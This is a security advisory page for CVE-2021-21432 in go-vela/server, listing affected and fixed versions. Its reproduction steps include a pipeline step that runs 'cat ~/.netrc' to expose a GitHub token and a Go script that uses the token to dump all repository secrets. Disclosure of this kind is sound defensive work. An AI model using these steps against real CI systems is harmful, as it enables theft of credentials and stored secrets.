Ecosyste.ms: Advisories

An open API service providing security vulnerability metadata for many open source software ecosystems.

Security Advisories: MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLThqM2YtbWhxOC1nbWg0

Reject unauthorized access with GitHub PATs

Impact

What kind of vulnerability is it? Who is impacted?

The additional auth mechanism added within https://github.com/go-vela/server/pull/246 enables some malicious user to obtain secrets utilizing the injected credentials within the ~/.netrc file. Steps to reproduce

  1. Create Vela server

  2. Login to Vela UI

  3. Promote yourself to Vela administrator

    • UPDATE users SET admin = 't' WHERE name = <username>
  4. Activate repository within Vela

  5. Add .vela.yml to the repository with the following content

    version: "1"
    
    steps:
    - name: steal
      image: alpine
      commands:
        - cat ~/.netrc
    
  6. Look at build logs to find the following content

    $ cat ~/.netrc
    machine <GITHUB URL>
    login x-oauth-basic
    password <token>
    
  7. Copy the password to be utilized in some later step

  8. Add secret(s) to activated repo

  9. Copy the following script into main.go

    package main
    
    import (
        "fmt"
        "github.com/go-vela/sdk-go/vela"
        "os"
    )
    
    func main() {
        // create client to connect to vela
        client, err := vela.NewClient(os.Getenv("VELA_SERVER_ADDR"), "vela", nil)
        if err != nil {
    	    panic(err)
        }
    
        // add PAT to request
        client.Authentication.SetPersonalAccessTokenAuth(os.Getenv("VELA_TOKEN"))
    
    
        secrets, _, err := client.Admin.Secret.GetAll(&vela.ListOptions{})
        if err != nil {
    	    panic(err)
        }
    
        for _, secret := range *secrets {
    	    fmt.Println(*secret.Name)
    	    fmt.Println(*secret.Value)
        }
    }
    
  10. Run the main.go with environment specific settings

    • VELA_SERVER_ADDR=http://localhost:8080 VELA_TOKEN=<token obtained previously> go run main.go

The previously posted script could be updated to utilize any API endpoint(s) the activated user has access against.

Patches

Has the problem been patched? What versions should users upgrade to?

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading?

References

Are there any links users can visit to find out more?

For more information

If you have any questions or comments about this advisory

Permalink: https://github.com/advisories/GHSA-8j3f-mhq8-gmh4
JSON: https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLThqM2YtbWhxOC1nbWg0
Source: GitHub Advisory Database
Origin: Unspecified
Severity: High
Classification: General
Published: about 2 years ago
Updated: 7 months ago


CVSS Score: 7.5
CVSS vector: CVSS:3.1/AV:A/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:L

Identifiers: GHSA-8j3f-mhq8-gmh4, CVE-2021-21432
References: Repository: https://github.com/go-vela/server
Blast Radius: 5.8

Affected Packages

go:github.com/go-vela/server
Dependent packages: 4
Dependent repositories: 6
Downloads:
Affected Version Ranges: >= 0.7.0, < 0.7.5
Fixed in: 0.7.5
All affected versions: 0.7.0, 0.7.1, 0.7.2, 0.7.3, 0.7.4
All unaffected versions: 0.1.0, 0.1.1, 0.1.2, 0.1.3, 0.1.4, 0.1.5, 0.2.0, 0.3.0, 0.4.0, 0.4.1, 0.4.2, 0.4.3, 0.5.0, 0.5.1, 0.6.0, 0.6.1, 0.6.2, 0.7.5, 0.8.0, 0.8.1, 0.8.2, 0.8.3, 0.8.4, 0.9.0, 0.9.1, 0.9.2, 0.10.0, 0.10.1, 0.11.0, 0.11.1, 0.12.0, 0.12.1, 0.12.2, 0.13.0, 0.13.1, 0.14.0, 0.14.1, 0.14.2, 0.14.3, 0.15.0, 0.15.1, 0.16.0, 0.16.1, 0.16.2, 0.17.0, 0.18.0, 0.18.1, 0.18.2, 0.19.0, 0.19.1, 0.19.2, 0.20.0, 0.20.1, 0.20.2, 0.20.3, 0.21.0, 0.22.0, 0.22.1, 0.22.2, 0.23.0, 0.23.1, 0.23.2, 0.23.3, 0.23.4